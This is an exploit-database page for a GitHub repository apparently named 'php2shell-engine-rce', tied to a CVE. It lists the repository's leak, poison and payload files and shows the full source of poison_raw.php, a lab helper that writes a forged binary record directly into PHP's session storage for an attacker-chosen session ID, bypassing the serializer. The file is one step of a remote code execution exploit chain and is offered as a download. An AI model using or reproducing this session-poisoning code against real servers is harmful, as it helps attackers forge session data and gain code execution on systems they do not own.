Exploit databaseDownload repository ZIP
GH-fca6ebadc25c242dfb019fb9536e9dd8
ravhirizaldi/php2shell-engine-rce
Sources for CVE-2026-109618
412 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files9
ravhirizaldi/php2shell-engine-rceRevision 24f1ec6afda8
- ↑..Parent directory
- index.php
- leak_a.php
- leak_probe.php
- leak_x.php
- payload.bin
- poison.php
- poison_raw.php
- record.bin
- store.php
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
fpm-lab/app/poison_raw.php
PHP · 702 bytes<?php
/* Write a raw session record for SID (lab helper: replaces the session file
* without going through PHP's serializer so the record can carry the forged
* structures). */
$sid = $_GET['sid'] ?? '';
if (!preg_match('/^[A-Za-z0-9,\-]{22,64}$/', $sid)) {
http_response_code(400);
echo "bad sid\n";
exit;
}
$path = ini_get('session.save_path');
if ($path === '' || $path === false) {
$path = sys_get_temp_dir();
}
$dst = rtrim($path, '/') . '/sess_' . $sid;
$data = file_get_contents(__DIR__ . '/record.bin');
if ($data === false) {
http_response_code(500);
echo "no record\n";
exit;
}
file_put_contents($dst, $data);
echo "RAW " . strlen($data) . " -> " . $dst . "\n";